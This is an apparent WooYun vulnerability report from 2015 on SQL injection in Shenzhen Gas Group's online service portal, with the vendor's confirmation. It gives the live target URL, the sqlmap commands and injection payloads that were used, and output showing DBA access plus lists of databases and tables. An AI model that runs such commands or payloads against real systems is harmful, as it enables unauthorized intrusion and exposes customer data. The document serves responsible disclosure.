当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130688

漏洞标题:上市公司深圳燃气集团的网上营业厅存在sql注入漏洞(root权限)大量用户资料暴露

相关厂商:深圳燃气集团

漏洞作者: 路人甲

提交时间:2015-07-31 16:10

修复时间:2015-09-17 16:06

公开时间:2015-09-17 16:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-31: 细节已通知厂商并且等待厂商处理中
2015-08-03: 厂商已经确认,细节仅向厂商公开
2015-08-13: 细节向核心白帽子及相关领域专家公开
2015-08-23: 细节向普通白帽子公开
2015-09-02: 细节向实习白帽子公开
2015-09-17: 细节向公众公开

简要描述:

详细说明:

无标题.3.png

无标题.png

无标题4.png


root@kali:~# sqlmap -u "http://service.szgas.com.cn/Guide/GuideDetail.aspx?module=4214&id=156" -p id
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:26:31
[12:26:32] [INFO] testing connection to the target URL
[12:26:33] [INFO] testing if the target URL is stable. This can take a couple of seconds
[12:26:34] [INFO] target URL is stable
[12:26:34] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[12:26:34] [INFO] testing for SQL injection on GET parameter 'id'
[12:26:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:26:36] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:26:38] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] y
[12:26:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[12:26:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[12:26:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[12:26:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[12:26:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[12:26:42] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[12:26:42] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[12:26:42] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[12:26:43] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[12:26:43] [INFO] testing 'MySQL inline queries'
[12:26:43] [INFO] testing 'PostgreSQL inline queries'
[12:26:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[12:26:44] [INFO] testing 'Oracle inline queries'
[12:26:44] [INFO] testing 'SQLite inline queries'
[12:26:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:26:44] [WARNING] time-based comparison requires larger statistical model, please wait.
[12:26:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[12:26:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[12:26:55] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable
[12:26:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[12:27:06] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase time-based blind' injectable
[12:27:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:27:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 56 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: module=4214&id=156 AND 4296=4296
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: module=4214&id=156; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: module=4214&id=156 WAITFOR DELAY '0:0:5'--
---
[12:27:25] [INFO] testing Microsoft SQL Server
[12:27:26] [INFO] confirming Microsoft SQL Server
[12:27:27] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[12:27:27] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/service.szgas.com.cn'
[*] shutting down at 12:27:27
root@kali:~# sqlmap -u "http://service.szgas.com.cn/Guide/GuideDetail.aspx?module=4214&id=156" -p id --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:27:47
[12:27:48] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:27:48] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: module=4214&id=156 AND 4296=4296
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: module=4214&id=156; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: module=4214&id=156 WAITFOR DELAY '0:0:5'--
---
[12:27:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[12:27:49] [INFO] fetching database names
[12:27:49] [INFO] fetching number of databases
[12:27:49] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[12:27:49] [INFO] retrieved: 38
[12:27:53] [INFO] retrieved: CIS
[12:28:00] [INFO] retrieved: CKGLDB
[12:28:10] [INFO] retrieved: DATABASE_1
[12:28:29] [INFO] retrieved: distribution
[12:28:57] [INFO] retrieved: Dymoware20
[12:29:17] [INFO] retrieved: Foglight_DB
[12:29:45] [INFO] retrieved: GASPIPE
[12:29:59] [INFO] retrieved: GASUSER
[12:30:19] [INFO] retrieved: GASUSER_keep
[12:30:46] [INFO] retrieved: GASUSERCHG
[12:31:08] [INFO] retrieved: GASUSERFILE
[12:31:41] [INFO] retrieved: GASUSERTELE
[12:32:05] [INFO] retrieved: GDQGQYTL
[12:32:21] [INFO] retrieved: GDQGYH
[12:32:33] [INFO] retrieved: GDQSYYH
[12:32:52] [INFO] retrieved: GDQSYYH_LNG
[12:33:19] [INFO] retrieved: LGRQCRM
[12:33:36] [INFO] retrieved: master
[12:33:50] [INFO] retrieved: model
[12:34:06] [INFO] retrieved: msdb
[12:34:15] [INFO] retrieved: NETBIZHALL
[12:34:44] [INFO] retrieved: Oips
[12:34:52] [INFO] retrieved: PlatForm
[12:35:17] [INFO] retrieved: ReportServer
[12:35:41] [INFO] retrieved: ReportServerTempDB
[12:36:24] [INFO] retrieved: SAVEDATA2003
[12:36:53] [INFO] retrieved: SAVEDATA2004
[12:37:15] [INFO] retrieved: SAVEDATA2005
[12:37:35] [INFO] retrieved: SAVEDATA2006
[12:37:56] [INFO] retrieved: SAVEDATA2007
[12:38:17] [INFO] retrieved: SAVEDATA2008
[12:38:38] [INFO] retrieved: SAVEDATA2009
[12:38:58] [INFO] retrieved: SUPERSEARCH
[12:39:16] [INFO] retrieved: SZGASCloudServer
[12:39:41] [INFO] retrieved: szgaspiping
[12:40:00] [INFO] retrieved: tempdb
[12:40:12] [INFO] retrieved: Test
[12:40:20] [INFO] retrieved: zhu
available databases [38]:
[*] CIS
[*] CKGLDB
[*] DATABASE_1
[*] distribution
[*] Dymoware20
[*] Foglight_DB
[*] GASPIPE
[*] GASUSER
[*] GASUSER_keep
[*] GASUSERCHG
[*] GASUSERFILE
[*] GASUSERTELE
[*] GDQGQYTL
[*] GDQGYH
[*] GDQSYYH
[*] GDQSYYH_LNG
[*] LGRQCRM
[*] master
[*] model
[*] msdb
[*] NETBIZHALL
[*] Oips
[*] PlatForm
[*] ReportServer
[*] ReportServerTempDB
[*] SAVEDATA2003
[*] SAVEDATA2004
[*] SAVEDATA2005
[*] SAVEDATA2006
[*] SAVEDATA2007
[*] SAVEDATA2008
[*] SAVEDATA2009
[*] SUPERSEARCH
[*] SZGASCloudServer
[*] szgaspiping
[*] tempdb
[*] Test
[*] zhu
[12:40:26] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/service.szgas.com.cn'
[*] shutting down at 12:40:26


Title: Microsoft SQL Server/Sybase time-based blind
Payload: module=4214&id=156 WAITFOR DELAY '0:0:5'--
---
[12:42:42] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[12:42:42] [INFO] testing if current user is DBA
current user is DBA: True
[12:42:42] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/service.szgas.com.cn'



跑了其中一个数据库,信息量实在是太大了,时间上耗不起,这里只是证明存在漏洞,
Database: DATABASE_1
[49 tables]
+------------------------------------+
| KJ_BACKGROUD |
| KJ_BACKGROUD2 |
| KJ_BASEINFO |
| KJ_BPINFO |
| KJ_CONSTRUCTIONCONDITIONS |
| KJ_NEWTECHPROJECT |
| KJ_SBCHECKINFO |
| LC_DICTIONARY |
| LC_MODULE |
| LC_MODULE_OPERATION |
| LC_OPERATION |
| LC_OPRATION_LOG |
| LC_ORGANIZATION |
| LC_ROLE |
| LC_ROLE_PERMISSION |
| LC_RUNTIME_LOG |
| LC_USER |
| LC_USER_PERMISSION |
| LC_USER_ROLE |
| PS_EXPERTSLIST |
| PS_REVIEWINFO |
| SB_PROCESSSTATE |
| SB_PROJECTINFO |
| SF_BASEINFO |
| SF_COMPANBASEINFO |
| SF_MANAGE |
| SF_SBCHECKINFO |
| SF_TAGETANDCONTENT |
| XM_BASEINFO |
| XM_COMPANBASEINFO |
| XM_MANAGE |
| XM_SBCHECKINFO |
| XM_SBPROJECT |
| XN_ABOUTJG |
| XN_DEVICELIST |
| XN_DEVICEMENU |
| XN_DURABLESAFETYSAFEGUARDMEASURES2 |
| XN_ECONOMYSAFEGUARDMEASURES |
| XN_ENVIRONMENTSAFEGUARDMEASURES |
| XN_PROJECTINFO |
| XN_SAFETYSAFEGUARDMEASURES |
| XN_SUITSAFEGUARDMEASURES |
| XN_XNEXPERTSOPINION |
| XN_XNMETAPHASEEXPERTSOPINION |
| XN_XNSOPINIONRESULT |
| ZF_COMPANYINFO |
| ZF_COMPANYINFOCHECK |
| ZF_DATAATTACHMENT |
| ZF_EXPERTSINFO |
+------------------------------------+
[13:34:35] [INFO] fetched data logged to text
不跑了,实在太多了

漏洞证明:

QQ截图20150731142352.png


营业厅功能,拿下一个能干满多事的呢,好了,就到这吧

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-03 16:05

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:10
正在联系相关网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论